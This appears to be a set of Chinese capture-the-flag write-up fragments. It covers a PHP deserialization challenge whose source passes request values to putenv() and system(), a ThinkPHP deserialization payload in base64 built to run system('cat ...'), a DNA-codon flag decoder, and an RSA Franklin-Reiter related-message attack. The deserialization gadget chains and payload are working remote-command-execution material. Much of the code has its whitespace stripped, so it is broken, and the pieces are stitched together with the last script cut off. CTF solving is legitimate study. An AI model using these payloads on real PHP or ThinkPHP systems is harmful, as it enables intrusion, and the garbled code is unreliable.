classSE{ public$year; publicfunction__set($name, $value){ echo' Welcome to new year! '; echo($this->year); } }
classCR{ public$last; public$newyear;
publicfunction__tostring() {
if (is_array($this->newyear)) { echo'nonono'; returnfalse; } if (!preg_match('/worries/i',$this->newyear)) { echo"empty it!"; return0; }
if(preg_match('/^.*(worries).*$/',$this->newyear)) { echo'Don\'t be worry'; } else { echo'Worries doesn\'t exists in the new year '; empty($this->last->worries); } returnfalse; } }
classET{
publicfunction__isset($name) { foreach ($_GET['get'] as$inject => $rce){ putenv("{$inject}={$rce}"); } system("echo \"Haven't you get the secret?\""); } } if(isset($_REQUEST['go'])){ unserialize(base64_decode($_REQUEST['go'])); } ?>
classSE{ public$year; publicfunction__set($name, $value){ echo' Welcome to new year! '; echo($this->year); } }
classCR{ public$last; public$newyear="\nworries";
publicfunction__tostring() { echo"__tostring";
if (is_array($this->newyear)) { echo'nonono'; returnfalse; } if (!preg_match('/worries/i',$this->newyear)) { echo"empty it!"; return0; }
if(preg_match('/^.*(worries).*$/',$this->newyear)) { echo'Don\'t be worry'; } else { echo'Worries doesn\'t exists in the new year '; empty($this->last->worries); } returnfalse; } }
classET{
publicfunction__isset($name) { echo"yes"; foreach ($_GET['get'] as$inject => $rce){ putenv("{$inject}={$rce}"); } system("echo \"Haven't you get the secret?\""); } } $a = newstart(); $a->welcome=newSE(); $a->welcome->year = newCR(); $a->welcome->year->last = newET();
if (is_array($this->newyear)) { echo'nonono'; returnfalse; } if (!preg_match('/worries/i',$this->newyear)) { echo"empty it!"; return0; }
if(preg_match('/^.*(worries).*$/',$this->newyear)) { echo'Don\'t be worry'; } else { echo'Worries doesn\'t exists in the new year '; empty($this->last->worries); }
data = {"key":'a'*1000100+"603THINKPHP","payload":"TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjc6e3M6MjE6IgB0aGlua1xNb2RlbABsYXp5U2F2ZSI7YjoxO3M6MTI6IgAqAHdpdGhFdmVudCI7YjowO3M6MTk6IgB0aGlua1xNb2RlbABleGlzdHMiO2I6MTtzOjE4OiIAdGhpbmtcTW9kZWwAZm9yY2UiO2I6MTtzOjc6IgAqAG5hbWUiO086MTc6InRoaW5rXG1vZGVsXFBpdm90Ijo3OntzOjIxOiIAdGhpbmtcTW9kZWwAbGF6eVNhdmUiO2I6MTtzOjEyOiIAKgB3aXRoRXZlbnQiO2I6MDtzOjE5OiIAdGhpbmtcTW9kZWwAZXhpc3RzIjtiOjE7czoxODoiAHRoaW5rXE1vZGVsAGZvcmNlIjtiOjE7czo3OiIAKgBuYW1lIjtzOjA6IiI7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJrZXkiO3M6MjE6ImNhdCAvT3lzdDMzMzMzMzNyLnBocCI7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjM6ImtleSI7czo2OiJzeXN0ZW0iO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJrZXkiO3M6MjE6ImNhdCAvT3lzdDMzMzMzMzNyLnBocCI7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjM6ImtleSI7czo2OiJzeXN0ZW0iO319"}
defdecode_dna(string): final="" i=0 while i<len(string): final+=mapping[string[i:i+3]] i+=3 if string[i]=='{'or string[i]=='_'or string[i]=='}': final+=string[i] i+=1 return final
flag = decode_dna(input_string) """ datas = [input_string.split('{')[0]]+input_string.split('{')[1][:-1].split('_') flag='' for i in datas: flag+=decode_dna(i)+'_' """ print(flag)
from Crypto.Util.number import * from enc import flag
m = bytes_to_long(flag)
p = getPrime(512) q = getPrime(512) n = p*q e = 65537 c1 = pow(m,e,n) c2 = pow(233*m+9527,e,n) print(f'n = {n}') print(f'c1 = {c1}') print(f'c2 = {c2}') print(f'e = {e}') """ n = 71451784354488078832557440841067139887532820867160946146462765529262021756492415597759437645000198746438846066445835108438656317936511838198860210224738728502558420706947533544863428802654736970469313030584334133519644746498781461927762736769115933249195917207059297145965502955615599481575507738939188415191 c1 = 60237305053182363686066000860755970543119549460585763366760183023969060529797821398451174145816154329258405143693872729068255155086734217883658806494371105889752598709446068159151166250635558774937924668506271624373871952982906459509904548833567117402267826477728367928385137857800256270428537882088110496684 c2 = 20563562448902136824882636468952895180253983449339226954738399163341332272571882209784996486250189912121870946577915881638415484043534161071782387358993712918678787398065688999810734189213904693514519594955522460151769479515323049821940285408228055771349670919587560952548876796252634104926367078177733076253 e = 65537 """
Franklin-Reiter attack,套板子用sage硬跑出来,要等很久。
脚本:
# sage n = 71451784354488078832557440841067139887532820867160946146462765529262021756492415597759437645000198746438846066445835108438656317936511838198860210224738728502558420706947533544863428802654736970469313030584334133519644746498781461927762736769115933249195917207059297145965502955615599481575507738939188415191 c1 = 60237305053182363686066000860755970543119549460585763366760183023969060529797821398451174145816154329258405143693872729068255155086734217883658806494371105889752598709446068159151166250635558774937924668506271624373871952982906459509904548833567117402267826477728367928385137857800256270428537882088110496684 c2 = 20563562448902136824882636468952895180253983449339226954738399163341332272571882209784996486250189912121870946577915881638415484043534161071782387358993712918678787398065688999810734189213904693514519594955522460151769479515323049821940285408228055771349670919587560952548876796252634104926367078177733076253 e = 65537 a = 233 b = 9527